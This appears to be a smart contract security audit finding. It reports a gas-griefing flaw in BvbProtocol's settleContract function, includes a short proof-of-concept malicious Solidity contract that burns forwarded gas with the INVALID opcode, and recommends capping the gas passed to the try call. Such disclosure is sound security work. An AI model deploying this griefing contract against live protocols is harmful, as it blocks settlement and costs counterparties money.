Bahurum

high

# `settleContract` gas usage can be increased by bull making settling unprofitable for bear

## Summary
`try` call in `settleContract()` forwards all gas. If bear is a contract that executes an INVALID, then only a small amount of gas is left for execution and execution will throw an out of gas unless gas paid is very high, which makes settling unprofitable for relatively small orders.

## Vulnerability Detail
A bull can make the amount of gas needed by `settleContract()` very high by implementing a malicious contract like this one:

```solidity

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.4;

import {BvbProtocol} from "../src/BvbProtocol.sol";

import {ERC20} from "solmate/tokens/ERC20.sol";

contract BvbMaliciousBull {

    address public immutable bvb;

    bool public shouldBlockTransfer;

    constructor(address _bvb) {
        bvb = _bvb;
        shouldBlockTransfer = true;
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external virtual returns (bytes4) {
        if (shouldBlockTransfer) {
            assembly {
                invalid()
            }
        }
        return BvbMaliciousBull.onERC721Received.selector;
    }
    
    function setShouldBlockTransfer(bool shouldBlock) public {
        shouldBlockTransfer = shouldBlock;
    }
}
```

The INVALID opcode uses up all gas forwarded to the call to the contract, so since the `try` call forwards all gas available, after the `try` only about 1/64 of the gas sent to`settleContract` is left to terminate the execution. 
The most gas consuming operations after the `try` statement are
 [L397](https://github.com/sherlock-audit/2022-11-bullvbear/blob/main/bvb-protocol/src/BvbProtocol.sol#L397)

```solidity
IERC721(order.collection).safeTransferFrom(bear, address(this), tokenId);
```

and 

[L405](https://github.com/sherlock-audit/2022-11-bullvbear/blob/main/bvb-protocol/src/BvbProtocol.sol#L405)

```solidity
            IERC20(order.asset).safeTransfer(bear, bearAssetAmount);
```
plus a couple SLOAD. So the total amount of gas required to terminate execution will depend on the exact tokens but it will be around 100_000.
This means that the call to `settleContract` must have about 6_400_000 gas to pass.
This can practically DoS `settleContract` for the `bear`
1. The bear can try to call with insufficient gas since the gas needed by the call could be estimated incorrectly beforehand
2. Even if the bear sends enough gas, that could be very expensive. At high mainnet congestion (gas price = 100 gwei) gass fee would be around 6 * 1e6 * 100 * 1e9 = 0.6 ETH. If this is higher or comparable to the premium and collateral, then there are no economic incetives for the bear to settle, i.e. `settleContract` is DoSd.


## Impact
Profitability of bear settling is modified for relatively small orders, which could lead bear to not settle at all.

## Code Snippet

https://github.com/sherlock-audit/2022-11-bullvbear/blob/main/bvb-protocol/src/BvbProtocol.sol#L374-L411

```solidity
    function settleContract(Order calldata order, uint tokenId) public nonReentrant {
        bytes32 orderHash = hashOrder(order);

        // ContractId
        uint contractId = uint(orderHash);

        address bear = bears[contractId];

        // Check that only the bear can settle the contract
        require(msg.sender == bear, "ONLY_BEAR");

        // Check that the contract is not expired
        require(block.timestamp < order.expiry, "EXPIRED_CONTRACT");

        // Check that the contract is not already settled
        require(!settledContracts[contractId], "SETTLED_CONTRACT");

        address bull = bulls[contractId];

        // Try to transfer the NFT to the bull (needed in case of a malicious bull that block transfers)
        try IERC721(order.collection).safeTransferFrom(bear, bull, tokenId) {}
        catch (bytes memory) {
            // Transfer NFT to BvbProtocol
            IERC721(order.collection).safeTransferFrom(bear, address(this), tokenId);
            // Store that the bull has to retrieve it
            withdrawableCollectionTokenId[order.collection][tokenId] = bull;
        }

        uint bearAssetAmount = order.premium + order.collateral;
        if (bearAssetAmount > 0) {
            // Transfer payment tokens to the Bear
            IERC20(order.asset).safeTransfer(bear, bearAssetAmount);
        }

        settledContracts[contractId] = true;

        emit SettledContract(orderHash, tokenId, order);
    }
```

## Tool used

Manual Review

## Recommendation
Add a fixed amount of gas forwarded with the try call. The amount should be such that it should cover the gas usage of `safeTransferFrom` for all legitimate ERC721 tokens. For example 200_000 should be well enough.

```solidity
       try IERC721(order.collection).safeTransferFrom(bear, bull, tokenId){gas: 200_000} {}
```